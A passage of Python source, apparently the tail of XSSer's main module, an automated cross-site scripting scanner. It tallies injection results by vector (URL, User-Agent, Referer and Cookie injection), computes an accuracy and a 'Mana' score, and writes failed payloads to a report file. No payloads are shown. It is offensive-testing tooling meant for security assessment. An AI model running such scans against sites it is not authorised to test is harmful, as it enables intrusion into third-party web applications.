  3265. len(self.hash_notfound) + len(self.hash_found))
  3266. self.report('-'*25)
  3267. self.report("Failed:" , len(self.hash_notfound), "|",
  3268. "Successful:" , len(self.hash_found))
  3269. try:
  3270. _accur = len(self.hash_found) * 100 / total_injections
  3271. except ZeroDivisionError:
  3272. _accur = 0
  3273. self.report("Accur : %s %%" % _accur)
  3274. self.report("\n" + '='*50)
  3275. total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
  3276. self.report("\n" + '-'*50)
  3277. self.report("Total XSS Discovered:", total_discovered)
  3278. self.report('-'*50)
  3279. self.report("Checker:", self.false_positives, "|",
  3280. "Manual:",self.manual_found, "|", "Auto:",
  3281. self.auto_found, "|", "DCP:", self.dcp_found,
  3282. "|", "DOM:", self.dom_found, "|", "Induced:",
  3283. self.httpsr_found, "|" , "XSR:", self.xsr_found,
  3284. "|", "XSA:", self.xsa_found, "|", "COO:",
  3285. self.coo_found)
  3286. self.report('-'*50)
  3287. self.report("False positives:", self.false_positives, "|",
  3288. "Vulnerables:",
  3289. total_discovered - self.false_positives)
  3290. self.report('-'*25)
  3291. # efficiency ranking:
  3292. # algor= vulnerables + false positives - failed * extras
  3293. mana = 0
  3294. h_found = 0
  3295. for h in self.hash_found:
  3296. h_found = h_found + 1
  3297. if h_found > 3:
  3298. mana = mana + 4500
  3299. if h_found == 1:
  3300. mana = mana + 500
  3301. if self.options.reversecheck:
  3302. mana = mana + 200
  3303. if total_payloads > 100:
  3304. mana = mana + 150
  3305. if not self.options.xsser_gtk:
  3306. mana = mana + 25
  3307. if self.options.discode:
  3308. mana = mana + 100
  3309. if self.options.proxy:
  3310. mana = mana + 100
  3311. if self.options.threads > 9:
  3312. mana = mana + 100
  3313. if self.options.heuristic:
  3314. mana = mana + 100
  3315. if self.options.finalpayload or self.options.finalremote:
  3316. mana = mana + 100
  3317. if self.options.script:
  3318. mana = mana + 100
  3319. if self.options.Cem or self.options.Doo:
  3320. mana = mana + 75
  3321. if self.options.heuristic:
  3322. mana = mana + 50
  3323. if self.options.script and not self.options.fuzz:
  3324. mana = mana + 25
  3325. if self.options.followred and self.options.fli:
  3326. mana = mana + 25
  3327. if self.options.wizard:
  3328. mana = mana + 25
  3329. if self.options.dcp:
  3330. mana = mana + 25
  3331. if self.options.hash:
  3332. mana = mana + 10
  3333. mana = (len(self.hash_found) * mana) + mana
  3334. # enjoy it :)
  3335. self.report("Mana:", mana)
  3336. self.report("")
  3337. c = Curl()
  3338. if not len(self.hash_found) and self.hash_notfound:
  3339. if self.options.hash:
  3340. if self.options.statistics:
  3341. self.report('='*75 + '\n')
  3342. self.report("[Info] Target isn't replying to the input [ --hash ] sent!\n")
  3343. else:
  3344. if self.options.target or self.options.heuristic:
  3345. self.report("")
  3346. if self.options.heuristic:
  3347. pass
  3348. else:
  3349. if self.options.statistics:
  3350. self.report('='*75 + '\n')
  3351. if self.options.fileoutput:
  3352. fout = open("XSSreport.raw", "w") # write better than append
  3353. fout.write("="*75)
  3354. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3355. fout.write("="*75 + "\n\n")
  3356. for h in self.hash_notfound:
  3357. if h[2] == 'heuristic':
  3358. if not h[4]:
  3359. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3360. else:
  3361. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3362. elif h[2] == 'hashing check':
  3363. if not h[4]:
  3364. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3365. else:
  3366. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3367. else:
  3368. if h[4]:
  3369. if h[2] == "XSA":
  3370. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3371. elif h[2] == "XSR":
  3372. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3373. elif h[2] == "COO":
  3374. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3375. else:
  3376. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3377. else:
  3378. if h[2] == "XSA":
  3379. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3380. elif h[2] == "XSR":
  3381. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3382. elif h[2] == "COO":
  3383. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3384. else:
  3385. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3386. fout.write("="*75 + "\n\n")
  3387. fout.close()
  3388. else:
  3389. # some exits and info for some bad situations:
  3390. if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
  3391. self.report("\n[Error] XSSer cannot send any data... maybe -something- is blocking connection(s)!?\n")
  3392. if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
  3393. if self.options.xsser_gtk:
  3394. self.report('='*75)
  3395. self.report("\n[Error] Not any feedback from crawler... Aborting! :(\n")
  3396. self.report('='*75 + '\n')
  3397. # print results to xml file
  3398. if self.options.filexml:
  3399. xml_report_results = xml_reporting(self)
  3400. try:
  3401. xml_report_results.print_xml_results(self.options.filexml)
  3402. except:
  3403. return
  3404. if __name__ == "__main__":
  3405. app = xsser()
  3406. options = app.create_options()
  3407. if options:
  3408. app.set_options(options)
  3409. app.run()
  3410. app.land(True)